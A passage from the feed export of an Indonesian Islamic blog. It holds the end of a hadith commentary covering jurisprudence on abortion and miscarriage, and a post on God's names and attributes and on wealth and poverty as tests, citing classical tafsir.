 neraka.”&lt;br /&gt;Maka Rasulullah Shallallahu 'alaihi wa sallam bersabda:&lt;br /&gt;&lt;span style="color: blue;"&gt;فَوَالَّذِي نَفْسِ أَبِي الْقَاسِمِ بِيَدِهِ لَتَكَلَّمَ بِالْكَلِمَةِ أَوْبَقَتْ دُنْيَاهُ وَآخِرَتَهُ&lt;/span&gt;.&lt;br /&gt;"Demi
 Rabb, yang jiwa Abul Qasim berada di tangan-Nya, sungguh ia telah 
mengucapkan satu kalimat yang menghancurkan dunia dan akhiratnya".[10]&lt;br /&gt;Bahkan
 Nabi Shallallahu 'alaihi wa sallam pernah ditegur langsung oleh Allah 
Ta’ala dikarenakan beliau mendo’akan keburukan dalam qunut nazilah bagi 
Shafwan bin Umayyah, Suhail bin ‘Amr, dan al Harits bin Hisyam ketika 
perang Uhud. Allah Ta’ala berfirman:&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;لَيْسَ لَكَ مِنَ الْأَمْرِ شَيْءٌ أَوْ يَتُوبَ عَلَيْهِمْ أَوْ يُعَذِّبَهُمْ فَإِنَّهُمْ ظَالِمُونَ ٣:١٢٨&lt;/span&gt;&lt;br /&gt;"Tidak
 ada sedikit pun campur tanganmu dalam urusan mereka itu atau Allah 
menerima taubat mereka, atau mengadzab mereka, karena sesungguhnya 
mereka itu orang-orang yang zhalim". [ali ‘Imran/3:128].&lt;br /&gt;Nabi 
Shallallahu 'alaihi wa sallam sendiri juga tidak mengetahui tentang 
akhir hayat seseorang. Bahkan, ketiga orang yang beliau do’akan dengan 
keburukan karena permusuhan mereka terhadap Islam, pada akhirnya mereka 
bertaubat dan masuk Islam di akhir hayatnya, yaitu pada saat Fat-hul 
Makkah.&lt;br /&gt;FAWA-ID (FAIDAH-FAIDAH) HADITS &lt;span style="color: lime;"&gt;1. Dianjurkan berdo’a agar ditetapkan dalam agama. Sebagaimana do’a yang sering dibaca oleh Nabi Shallallahu 'alaihi wa sallam :&lt;/span&gt;&lt;br /&gt;&lt;span style="color: blue;"&gt;يَا مُقَلِّبَ الْقُلُوْبِ ثَبِّتْ قَلْبِيْ عَلَى دِيْنِكَ&lt;/span&gt;.&lt;br /&gt;"Wahai Rabb yang membolak-balikkan hati, tetapkanlah hatiku pada agama-Mu". [11]&lt;br /&gt;&lt;span style="color: blue;"&gt;2. Dianjurkannya untuk selalu berlindung kepada Allah dari su-ul khatimah (akhir kehidupan yang jelek).&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;3.
 Wajib bagi seorang hamba agar tidak tertipu dengan amal kebaikannya. 
Bahkan, wajib baginya untuk selalu berada antara khauf (takut) dan raja’
 (harap).&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;4. Sesungguhnya amal-amal sebagai sebab seseorang masuk ke dalam surga atau neraka.&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;5. Wajibnya bersyukur terhadap seluruh nikmat Allah yang agung dan besar. &lt;/span&gt;Seperti
 nikmat diciptakannya manusia sebagai sebaik-baik makhluk oleh Allah. 
Dan Allah Ta’ala menciptakan makhluk-Nya sesuai dengan kehendak-Nya. 
Allah Ta’ala berfirman:&lt;br /&gt;&lt;span style="color: blue;"&gt;هُوَ الَّذِي يُصَوِّرُكُمْ فِي الْأَرْحَامِ كَيْفَ يَشَاءُ ۚ لَا إِلَٰهَ إِلَّا هُوَ الْعَزِيزُ الْحَكِيمُ&lt;/span&gt; &lt;span style="color: blue;"&gt;٣:٦&lt;/span&gt;&lt;br /&gt;"Dia-lah
 yang membentuk kamu dalam rahim sebagaimana dikehendaki-Nya. Tidak ada 
ilah yang berhak diibadahi dengan benar melainkan Dia, Yang Maha Perkasa
 lagi Maha Bijaksana". [ali ‘Imran/3:6].&lt;br /&gt;&lt;span style="color: blue;"&gt;6. Sesungguhnya sengsara dan bahagianya seorang hamba tidak ada yang mengetahuinya kecuali hanya Allah Azza wa Jalla.&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;7. Bersumpah atas berita yang benar (berfungsi) untuk menguatkan keyakinan orang yang mendengarnya.&lt;/span&gt; Dalam hadits ini, Nabi Shallallahu 'alaihi wa sallam bersumpah dengan mengucapkan:&lt;br /&gt;&lt;span style="color: blue;"&gt;فَوَاللهِ الَّذِي لاَ إِلَهَ غَيْرُهُ&lt;/span&gt;...&lt;br /&gt;"Maka demi Allah yang tidak ada ilah yang berhak diibadahi dengan benar selain Dia".&lt;br /&gt;&lt;span style="color: blue;"&gt;8.
 Dianjurkannya merasa tenang dengan rizki yang telah Allah karuniakan, 
dan merasa puas atas rizki dengan diiringi usaha yang benar.&lt;/span&gt;&lt;br /&gt;Walaupun
 Allah telah menetapkan rizki bagi kita, akan tetapi kita tetap wajib 
berusaha untuk mencarinya. Hal ini menjadi sebab untuk mendapatkan 
rizki. Kemudian, sekecil apapun rizki yang kita dapatkan, maka harus 
disyukuri. Nabi Shallallahu 'alaihi wa sallam bersabda:&lt;br /&gt;&lt;span style="color: blue;"&gt;قَدْ أَفْلَحَ مَنْ أَسْلَمَ وَرُزِقَ كَفَافًا وَقَنَّعَهُ اللهُ بِمَا آتَاهُ&lt;/span&gt;.&lt;br /&gt;"Sungguh
 berbahagia orang yang masuk Islam, diberikan rizki yang cukup, dan 
qana’ah (merasa puas) dengan apa yang Allah berikan". [12]&lt;br /&gt;Apabila 
timbul godaan setan yang membuat kita tidak puas terhadap rizki yang 
telah kita dapatkan, maka kita harus melihat yang ada di bawah kita, 
yaitu keadaan yang lebih buruk.&lt;br /&gt;&lt;span style="color: blue;"&gt;9. Kehidupan itu di tangan Allah. Seorang hamba tidak akan mati sehingga telah sempurna rizki dan umurnya.&lt;/span&gt;&lt;br style="color: blue;" /&gt;&lt;span style="color: blue;"&gt;10. Amal-amal, yang baik maupun yang buruk, hanya sebagai tanda, bukan suatu kepastian.&lt;/span&gt;
 Maksudnya, amal-amal kebaikan seseorang tidak dapat memastikan bahwa 
orang tersebut sebagai ahli surga. Sebagaimana amal-amal keburukan juga 
tidak dapat memastikan seseorang sebagai ahli neraka.&lt;br /&gt;&lt;span style="color: blue;"&gt;11.&lt;/span&gt; Hikmah diciptakannya manusia dalam beberapa fase merupakan bentuk kasih-sayang Allah kepada seorang ibu.&lt;br /&gt;&lt;span style="color: blue;"&gt;12.&lt;/span&gt;
 Dalam hadits ini terdapat pernyataan bahwa dibangkitkannya manusia 
adalah haq (benar). Allah telah menciptakan manusia dari setetes air 
mani yang hina, dan Allah Maha Kuasa untuk mematikan dan 
membangkitkannya kembali.&lt;br /&gt;&lt;span style="color: blue;"&gt;13. &lt;/span&gt;Beberapa
 permasalahan tentang janin. Pertama: Bagaimana hukum aborsi 
(menggugurkan kandungan) sesudah berusia 120 hari (sesudah ditiupkannya 
ruh) atau sebelumnya? Para ulama sepakat, bahwa menggugurkan kandungan 
yang telah berusia 120 hari adalah perbuatan haram, termasuk pembunuhan,
 dan berdosa besar. Jadi, para ulama sepakat bahwa aborsi setelah ruh 
ditiupkan ke dalam janin adalah haram. Bahkan mereka menganggap, aborsi 
merupakan tindak pidana yang tidak boleh dilakukan seorang muslim. 
Aborsi merupakan kejahatan terhadap manusia dalam bentuknya yang utuh. 
Karenanya, jika dalam melakukan aborsi, janin keluar dalam keadaan hidup
 dan kemudian mati, maka dikenakan diyat (denda yang sudah ditentukan 
ukurannya). Jika keluar dalam keadaan mati, maka dendanya lebih ringan.&lt;br /&gt;Hukum
 ini juga berlaku untuk aborsi sebelum masa peniupan ruh. Setidaknya ini
 adalah pendapat hampir seluruh ulama. Karena penciptaan manusia pada 
dasarnya dimulai sejak sperma membuahi sel telur (ovum) sebagaimana yang
 diisyaratkan oleh hadits Nabi Shallallahu 'alaihi wa sallam :&lt;br /&gt;&lt;span style="color: blue;"&gt;إِذَا
 مَرَّ بِالنُّطْفَةِ اِثْنَتَانِ وَأَرْبَعُوْنَ لَيْلَةً، بَعَثَ اللهُ 
إِلَيْهَا مَلَكًا فَصَوَّرَهَا، وَخَلَقَ سَمْعَهَا وَبَصَرَهَا، 
وَجِلْدَهَا، وَلَحْمَهَا، وَعِظَمَهَا&lt;/span&gt;....&lt;br /&gt;"Ketika nuthfah 
sudah berusia empat puluh dua hari, maka Allah mengutus Malaikat untuk 
membentuknya, menciptakan telinga, mata, kulit, daging dan tulangnya…" 
[13]&lt;br /&gt;Ada ulama yang berpendapat bolehnya menggugurkan kandungan 
sebelum berusia 120 hari. Sebagian mengatakan boleh dan sebagian 
mengatakan haram. Namun pendapat yang rajih (benar) adalah haram. Ada 
ulama yang mengqiyaskannya dengan azl [14], yang walaupun dibolehkan, 
tetapi disebut oleh Nabi Shallallahu 'alaihi wa sallam :&lt;br /&gt;&lt;span style="color: blue;"&gt;ذَلِكَ الْوَأْدُ الْخَفِيُّ&lt;/span&gt;.&lt;br /&gt;"Itu adalah pembunuhan yang tersembunyi". [15]&lt;br /&gt;Pada
 hakikatnya ‘azl tidak sama dengan aborsi atau mengubur bayi 
hidup-hidup. Karena aborsi merupakan kejahatan terhadap sesuatu yang 
sudah ada.&lt;br /&gt;Kehidupan itu sendiri mempunyai beberapa tahapan. Tahapan 
pertama, bertemunya sel sperma dengan ovum dalam rahim. Oleh karena itu,
 merusak sel sperma dengan ovum merupakan kejahatan. Jika telah berubah 
menjadi segumpal darah, maka tingkat kejahatannya bertambah berat. 
Apabila sudah menjadi segumpal daging dan telah ditiupkan ruh, maka 
kejahatan itu semakin bertambah berat. Kemudian kejahatan yang paling 
berat, yaitu ketika janin tersebut telah lahir menjadi bayi yang 
bernyawa. Syaikh al ‘Utsaimin menjelaskan haramnya aborsi (menggugurkan 
kandungan), meskipun janin belum ditiupkan ruh.&lt;br /&gt;Kedua: Bagaimana hukum menggugurkan kandungan karena adanya kemudharatan, setelah berusia 120 hari atau sebelumnya?&lt;br /&gt;Para
 ulama sepakat, menggugurkan kandungan yang telah berusia 120 hari 
adalah perbuatan haram, termasuk pembunuhan, dan berdosa besar walaupun 
kondisi ibu atau kondisi janin dinyatakan sakit. Namun apabila usia 
kandungan belum berusia 120 hari dan kondisi ibu atau kondisi janin 
dinyatakan sakit oleh dokter, maka para ulama membolehkannya karena 
keadaannya darurat.&lt;br /&gt;Ketiga: Bagaimana jika seorang ibu keguguran, apakah ia tergolong nifas ataukah tidak?&lt;br /&gt;Apabila
 usia kandungan lebih dari 120 hari lalu si ibu keguguran, maka berlaku 
hukum nifas baginya, yaitu tidak boleh shalat, puasa, bercampur dengan 
suaminya, dan lainnya. Apabila usia kandungan kurang dari 120 hari 
(sebelum ditiupkannya ruh), maka perlu dilihat janinnya, apakah sudah 
berbentuk ataukah masih berbentuk gumpalan darah (daging).&lt;br /&gt;Apabila 
janin sudah terbentuk, maka berlaku hukum nifas baginya. Dan apabila 
belum berbentuk, maka darahnya bukan darah nifas, namun disebut darah 
rusak. Dia harus mandi, wajib shalat dan boleh bercampur dengan 
suaminya.&lt;br /&gt;Keempat: Bagaimana hukum janin yang gugur setelah berusia 120 hari (telah ditiupkan ruh), apakah ia dishalatkan ataukah tidak?&lt;br /&gt;Para ulama menjelaskan, janin tersebut tetap dishalatkan. Hal ini berdasarkan sabda Nabi Shallallahu 'alaihi wa sallam :&lt;br /&gt;&lt;span style="color: blue;"&gt;وَالسِّقْطُ يُصَلَّى عَلَيْهِ وَيُدْعَى لِوَالِدَيْهِ بِالْمَغْفِرَةِ وَالرَّحْمَةِ&lt;/span&gt;.&lt;br /&gt;"(Bayi
 yang lahir dalam keadaan gugur, maka dishalatkan dan dido’akan bagi 
kedua orang tuanya dengan ampunan dan rahmat)[17], dan hukum 
menshalatnya adalah sunnah, tidak wajib. &lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Ayat-ayat Ma'rifatullah 2</title><link>http://alifbraja.blogspot.com/2013/08/ayat-ayat-marifatullah-2.html</link><pubDate>Sat, 17 Aug 2013 20:25:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-7463435762410027974</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;span style="background-color: red;"&gt;&lt;b&gt;أشهد أن لا اله الا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Allah" rel="wikipedia" target="_blank" title="Allah"&gt;الله&lt;/a&gt; و أشهد أن محمدا &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Apostle_%28Islam%29" rel="wikipedia" target="_blank" title="Apostle (Islam)"&gt;رسول&lt;/a&gt; الله&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="background-color: red;"&gt;&lt;b&gt;&amp;nbsp;Secara ringkas, dapat dikatakan bahwa ketauhidan seseorang dalam asma 
dan shifat itu maksudnya adalah bahwa seseorang itu meng-esakan Allah 
&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Subhanahu_wa_ta%27ala" rel="wikipedia" target="_blank" title="Subhanahu wa ta'ala"&gt;subhanahu wa ta’ala&lt;/a&gt; dengan nama2 yang telah Allah sebutkan bagi diri-Nya
 sendiri, dan menyifati Allah dengan sifat2 yang telah Allah sifatkan 
bagi diri-Nya sendiri di dalam kitab-Nya, ataupun melalui lisan Nabi-Nya
 shallallaahu ‘alaihi wa sallam, dan kemudian ia menetapkan semua itu 
dengan tanpa merubahnya, tanpa menghilangkannya, tanpa menanyakan 
bagaimananya, dan tanpa menyerupakan dengan makhluk-Nya. &lt;br /&gt;&lt;br /&gt;Pengertian
 yang semakna dengan pengertian di atas ini -kurang lebihnya- pernah 
dikemukakan oleh Syaikh Al-‘Utsaimin rahimahullah.&lt;br /&gt;&lt;br /&gt;Atau dari sisi
 yang lainnya, penjelasan tentang asma dan shifat Allah ini &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Insha%27Allah" rel="wikipedia" target="_blank" title="Insha'Allah"&gt;insya Allah&lt;/a&gt; 
dapat pula kita pahami –diantaranya- berdasarkan apa yang telah 
diriwayatkan oleh ibnu Qudamah rahimahullah dari perkataannya al-Imam 
Asy-Syafi’i rahimahullah bahwa&amp;nbsp; beliau berkata :&lt;br /&gt;&lt;span style="background-color: magenta;"&gt;الله تعالى اسماء 
وصفات جاء بها كتابه واخبر بها نبيه &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Peace_be_upon_him_%28Islam%29" rel="wikipedia" target="_blank" title="Peace be upon him (Islam)"&gt;صلى الله عليه وسلم&lt;/a&gt; امته لا يسع احدا 
من خلق الله تعالى قامت عليه الحجه ردها لأن &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Quran" rel="wikipedia" target="_blank" title="Quran"&gt;القرآن&lt;/a&gt; نزل بها وصح عن رسول 
صلى الله عليه وسلم القول بها فيما روى عنه العدل فإن خالف ذلك بعد ثبوت 
الحجة عليه فهو كافر فاما قبل ثبوت الحجة عليه فمعذور بالجهل لأن علم ذلك 
لايدرك بالعقل ولا بالروية والفكر ولا يفكر بالجهل بها احد الا بعد انتهاء 
الخبر اليه بها ونثبت هذه الصفات وننفي عنها التشبه كما نفى التشبه عن نفسه
 فقال تعالى ليس كمثله شيء وهو السميع البصير&lt;/span&gt;&lt;br /&gt;“Mengenai nama-nama dan 
sifat-sifat Allah ta'ala, maka semua itu telah datang kabar di dalam 
kitab-Nya dan telah dikabarkan pula oleh Nabi-Nya shallallaahu ‘alaihi 
wa sallam kepada umat beliau. &lt;br /&gt;Maka, tidak ada seorang pun dari 
makhluk2 Allah ta'ala yang boleh menolaknya setelah hujjah ditegakan 
kepadanya, karena Al-Qur'an telah turun dengan membawa nama-nama dan 
sifat-sifat-Nya itu dan telah shahih sabda Rasulullah shallallaahu 
‘alaihi wa sallam yang diriwayatkan oleh orang2 yang adil mengenai 
nama-nama dan sifat-sifat Allah tersebut.&lt;br /&gt;Apabila ada seseorang yang menyelisihinya setelah tsabitnya hujjah kepadanya, maka ia kafir. &lt;br /&gt;Adapun
 jika belum tsabit hujjah kepadanya, maka ia diberikan udzur disebabkan 
kejahilannya, sebab ilmu tentang hal ini tidaklah dapat dicapai melalui 
akal, bukan pula melalui perenungan, dan tidak pula melalui hati dan 
pemikiran. Dan kami tidaklah mengkafirkan seorangpun dalam masalah ini 
karena dia tidak tahu, kecuali jika setelah sampainya khabar kepadanya.&lt;br /&gt;Dan
 kami tetapkan semua shifat Allah ini, sekaligus kami nafikan darinya 
penyerupaan sebagaimana Allah sendiri telah menafikan adanya penyerupaan
 dengan firman-Nya : “Tidak ada sesuatupun yang serupa dengan Dia, dan 
Dia-lah yang Maha Mendengar dan Melihat.”&lt;br /&gt;(Itsbat Shifat al-‘Uluw hal. 124)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="background-color: red;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div align="center"&gt;
&lt;span style="background-color: red;"&gt;&lt;b&gt;Al-Quran &lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Al-Isra" rel="wikipedia" target="_blank" title="Al-Isra"&gt;surat Al-Isra&lt;/a&gt; ayat 30&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style="background-color: red;"&gt;&lt;b&gt;&lt;br /&gt;Allah berfirman :&lt;br /&gt;&lt;span class="bbc_size" style="font-size: 14pt;"&gt;إِنَّ رَبَّكَ يَبْسُطُ الرِّزْقَ لِمَن يَشَآءُ وَيَقْدِرُ إِنَّهُ كَانَ بِعِبَادِهِ خَبِيرًا بَصِيرًا&lt;/span&gt;&lt;br /&gt;“Sesungguhnya
 Rabb-mu melapangkan rejeki kepada siapa yang Dia kehendaki dan 
menyempitkannya, sesungguhnya Dia Maha Mengetahui lagi Maha Melihat akan
 hamba-hamba-Nya.”&lt;br /&gt;&lt;br /&gt;Tentang firman Allah : “Sesungguhnya Rabb-mu melapangkan rejeki kepada siapa yang Dia kehendaki dan menyempitkannya,"&lt;br /&gt;&lt;br /&gt;Al-Hafizh ibnu &lt;a class="zem_slink" href="http://maps.google.com/maps?ll=32.4893472222,35.107875&amp;amp;spn=0.1,0.1&amp;amp;q=32.4893472222,35.107875%20(Katzir-Harish)&amp;amp;t=h" rel="geolocation" target="_blank" title="Katzir-Harish"&gt;Katsir&lt;/a&gt; rahimahullah mengatakan : &lt;br /&gt;إخباراً أنه تعالى هو الرزاق القابض الباسط المتصرف في خلقه بما يشاء, فيغني من يشاء, ويفقر من يشاء لما له في ذلك من الحكمة&lt;br /&gt;“Ayat
 ini mengabarkan bahwa Allah ta’ala, Dia-lah yang memberi rejeki, 
menggenggamnya, melapangkannya, dan mengaturnya untuk makhluk2-Nya 
sebagaimana yang Dia kehendaki.&lt;br /&gt;Maka Dia jadikan kaya siapa yang Dia 
kehendaki, dan Dia jadikan faqir siapa yang Dia kehendaki yang pada hal 
itu terdapat hikmah.”&lt;br /&gt;(&lt;a class="zem_slink" href="http://en.wikipedia.org/wiki/Tafsir" rel="wikipedia" target="_blank" title="Tafsir"&gt;Tafsir&lt;/a&gt; ibnu Katsir 5/66)&lt;br /&gt;&lt;br /&gt;Adapun 
sebagian orang, mereka memandang bahwa kekayaan dan kemiskinan ini 
merupakan salah satu patokan bagi kehinaan dan kemuliaan seseorang.&lt;br /&gt;Jika dia kaya, maka dia mulia, tapi jika dia miskin, berarti dia adalah orang yang hina.&lt;br /&gt;Padahal masalahnya tidaklah seperti itu.&lt;br /&gt;Kehinaan dan kemuliaan seseorang, sama sekali tidak ditentukan dari banyak atau sedikitnya harta yang Allah berikan kepadanya.&lt;br /&gt;Bahkan telah tsabit dalam hadits yang shahih, bahwa Nabi shallallaahu ‘alaihi wa sallam bersabda :&lt;br /&gt;قُمْتُ عَلَى بَابِ الْجَنَّةِ فَكَانَ عَامَّةَ مَنْ دَخَلَهَا الْمَسَاكِينُ&lt;br /&gt;“Aku berdiri di pintu surga, dan ternyata kebanyakan yang memasukinya adalah orang2 miskin.”&lt;br /&gt;(Shahih al-Bukhari 7/30 no.5196)&lt;br /&gt;&lt;br /&gt;Atau sabda Nabi shallallaahu ‘alaihi wa sallam yang semisal :&lt;br /&gt;وقالت هذه يدخلني الضعفاء والمساكين&lt;br /&gt;“Dan surga berkata : “Orang2 lemah dan orang2 miskin akan memasukiku.”&lt;br /&gt;(Shahih Muslim 4/2186 no.2846)&lt;br /&gt;&lt;br /&gt;Bukankah ini merupakan satu kemuliaan yang besar bagi orang2 miskin?&lt;br /&gt;&lt;br /&gt;Maka sungguh kemiskinan bukanlah selalu berarti suatu kehinaan, dan begitupula kekayaan tidaklah selalu berarti kemuliaan.&lt;br /&gt;&lt;br /&gt;Berkenaan dengan masalah ini, Ibnu Jarir rahimahullah mengatakan dalam tafsir atas surat Saba’ ayat 36&lt;sup&gt;&lt;span class="bbc_color" style="color: red;"&gt;&lt;b&gt;(1)&lt;/b&gt;&lt;/span&gt;&lt;/sup&gt; :&lt;br /&gt;قل
 لهم يا محمد(إِنَّ رَبِّي يَبْسُطُ الرِّزْقَ) من المعاش والرياش في 
الدنيا(لِمَنْ يَشَاءُ) من خلقه(وَيَقْدِرُ) فيضيق على من يشاء لا لمحبة 
فيمن يبسط له ذلك ولا خير فيه ولا زلفة له استحق بها منه ، ولا لبغض منه 
لمن قدر عليه ذلك ولا مقت ، ولكنه يفعل ذلك محنة لعباده وابتلاء ، وأكثر 
الناس لا يعلمون أن الله يفعل ذلك اختبارًا لعباده ولكنهم يظنون أن ذلك منه
 محبة لمن بسط له ومقت لمن قدر عليه.&lt;br /&gt;“(Allah berfirman) : “Wahai 
Muhammad, katakanlah kepada mereka : “Sesungguhnya Rabb-ku melapangkan 
rejeki “ dari hal penghidupan dan pakaian2 yang mewah bagi siapa yang 
dikehendaki-Nya diantara makhluk2-Nya. Dan Dia menyempitkan bagi siapa 
yang dikehendaki-Nya, &lt;br /&gt;(Tapi) semua itu bukanlah karena kecintaan 
Allah kepada orang2 yang Dia lapangkan rejekinya dan tidak pula karena 
kebaikan di dalamnya…… &lt;br /&gt;Dan itu juga bukanlah karena kemarahan dan 
kebencian Allah kepada orang2 yang Dia sempitkan rejekinya. Akan tetapi 
Allah melakukan itu adalah sebagai ujian dan cobaan untuk hamba2-Nya. &lt;br /&gt;Sebagian
 besar manusia tidak mengetahui bahwa Allah melakukan itu sebagai ujian 
untuk hamba2-Nya, dan mereka menyangka bahwa orang2 yang dilapangkan 
rejekinya merupakan tanda kecintaan Allah sedangkan bagi orang2 yang 
disempitkan rejekinya merupakan tanda kebencian Allah.”&lt;br /&gt;(Jami’ul-Bayan 20/410)&lt;br /&gt;&lt;br /&gt;Kemudian,
 Al-Hafizh ibnu Katsir rahimahullah di tempat lainnya menjelaskan dari 
sisi yang lebih prinsipil dalam masalah ini, yaitu bahwa pada kedua 
keadaan tersebut (yakni kelapangan dan kesempitan rejeki), maka sisi 
keta’atan kepada Allah-lah yang seharusnya menjadi hal yang diperhatikan
 oleh seorang hamba.&lt;br /&gt;Beliau rahimahullah mengatakan :&lt;br /&gt;فإن الله 
تعالى يعطي المال من يحب ومن لا يحب ويضيق على من يحب ومن لا يحب وإنما 
المدار في ذلك على طاعة الله في كل من الحالين إذا كان غنيا بأن يشكر الله 
على ذلك وإذا كان فقيرا بأن يصبر&lt;br /&gt;“Sesungguhnya Allah ta’ala memberikan
 harta kepada orang yang Dia cintai dan kepada orang yang tidak Dia 
cintai. Dan Dia menyempitkan rejeki kepada orang yang Dia cintai dan 
kepada orang yang tidak Dia cintai. &lt;br /&gt;Acuan dalam masalah ini hanyalah berkenaan dalam ketaatan kepada Allâh dalam dua keadaan tersebut. &lt;br /&gt;Apabila
 seseorang itu diberikan kekayaan, maka hendaknya ia bersyukur kepada 
Allâh&amp;nbsp; atas hal itu, dan jika ia berada dalam kemiskinan, maka hendaknya
 ia bersabar.”&lt;br /&gt;(Tafsir ibnu Katsir 8/388)&lt;br /&gt;&lt;br /&gt;Apa yang dikemukakan
 oleh Al-Hafizh rahimahullah di atas, adalah sebagaimana sabda Nabi 
shallallaahu 'alaihi wa sallam mengenai sifat seorang mu'min :&lt;br /&gt;عجبا لأمر المؤمن إن أمره كله خير وليس ذاك لأحد إلا للمؤمن إن أصابته سراء شكر فكان خيرا له وإن أصابته ضراء صبر فكان خيرا له &lt;br /&gt;"Sungguh
 mengagumkan urusan seorang mu'min. Sesungguhnya setiap urusannya adalah
 baik, dan tidaklah hal itu terjadi kecuali kepada diri seorang mu'min.&lt;br /&gt;Apabila dia mendapatkan kesenangan, ia bersyukur. Dan bersyukur itu adalah baik baginya.&lt;br /&gt;Apabila ia tertimpa kemudharatan, maka ia bersabar. Dan bersabar itu adalah baik baginya."&lt;br /&gt;(Shahih Muslim 4/2295 no.2999)&lt;br /&gt;&lt;br /&gt;Maka
 benarlah apa yang dikatakan oleh Al-Hafizh ibnu Katsir rahimahullah, 
bahwa bagi seorang muslim, kedua keadaan tersebut, yakni baik dalam 
kelapangan ataupun kesempitan rejeki atau dalam kondisi kaya ataupun 
miskin, maka hendaknya sisi keta’atan kepada Allah dalam kedua keadaan 
itulah yang seharusnya menjadi hal yang diperhatikan dan diutamakan 
olehnya.&lt;br /&gt;Jika ia kaya, hendaknya ia menjadi seorang muslim yang bersyukur.&lt;br /&gt;Dan jika ia miskin, hendaknya ia menjadi seorang muslim yang bersabar.&lt;br /&gt;&lt;br /&gt;Kemudian....&lt;br /&gt;Tentang firman Allah :&lt;br /&gt;“sesungguhnya Dia Maha Mengetahui lagi Maha Melihat akan hamba-hamba-Nya.”&lt;br /&gt;&lt;br /&gt;Yakni
 bahwa Allah Maha Mengetahui dan Maha Melihat akan keadaan hamba2-Nya, 
dalam hal siapa yang berhak untuk menjadi kaya dan siapa yang berhak 
untuk menjadi miskin.&lt;br /&gt;Al-Hafizh rahimahullah mengatakan :&lt;br /&gt;أي خبيراً بصيراً بمن يستحق الغنى ويستحق الفقر&lt;br /&gt;“Yaitu Allah Maha Mengetahui, dan Maha Melihat siapa2 yang berhak untuk kaya, dan siapa2 yang berhak untuk miskin.”&lt;br /&gt;(Tafsir ibnu Katsir 5/66)&lt;br /&gt;&lt;br /&gt;Terakhir.....satu yang perlu sekali diingat, yakni bahwa :&lt;br /&gt;وقد يكون الغنى في حق بعض الناس استدراجاً, والفقر عقوبة, عياذاً بالله من هذا وهذا&lt;br /&gt;“Adakalanya kekayaan yang ada pada sebagian manusia itu merupakan satu &lt;i&gt;istidraj&lt;/i&gt;
 (atau bisa dikatakan sebagai sesuatu yang pada akhirnya akan menuju 
kepada kebinasaan), sedangkan kemiskinan itu merupakan satu hukuman. 
(Maka) kita berlindung kepada Allah dari kedua hal tersebut.”&lt;br /&gt;(Tafsir ibnu Katsir 5/66)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="background-color: red;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;
&lt;span style="background-color: red;"&gt;&lt;b&gt;Note :&lt;br /&gt;&lt;span class="bbc_color" style="color: red;"&gt;&lt;b&gt;(1)&lt;/b&gt;&lt;/span&gt; Selengkapnya surat Saba’ dari ayat 34 sampai dengan 36 :&lt;br /&gt;“Dan
 Kami tidak mengutus kepada suatu negeri seorang pemberi peringatanpun, 
melainkan orang-orang yang hidup mewah di negeri itu berkata: 
"Sesungguhnya kami mengingkari apa yang kamu diutus untuk 
menyampaikannya.&lt;br /&gt;Dan mereka berkata: "Kami lebih banyak mempunyai harta dan anak- anak (daripada kamu) dan kami sekali-kali tidak akan diazab.&lt;br /&gt;Katakanlah:
 "Sesungguhnya Rabb-ku melapangkan rejeki bagi siapa yang 
dikehendaki-Nya dan menyempitkan (bagi siapa yang dikehendaki-Nya). akan
 tetapi kebanyakan manusia tidak mengetahui".&lt;br /&gt;(Q.S Saba’ ayat 34-36)&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;


&lt;div class="zemanta-pixie" style="height: 15px; margin-top: 10px;"&gt;
&lt;a class="zemanta-pixie-a" href="http://www.zemanta.com/?px" title="Enhanced by Zemanta"&gt;&lt;img alt="Enhanced by Zemanta" class="zemanta-pixie-img" src="http://img.zemanta.com/zemified_e.png?x-id=eb646126-7e21-4db8-96d7-a2870a937b8c" style="border: none; float: right;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><author>noreply@blogger.com (alifbraja)</author></item><item><title>Pemikul Arasy</title><link>http://alifbraja.blogspot.com/2013/08/pemikul-arasy.html</link><pubDate>Sat, 17 Aug 2013 20:22:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3583651196583340588.post-2358631936728965557</guid><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
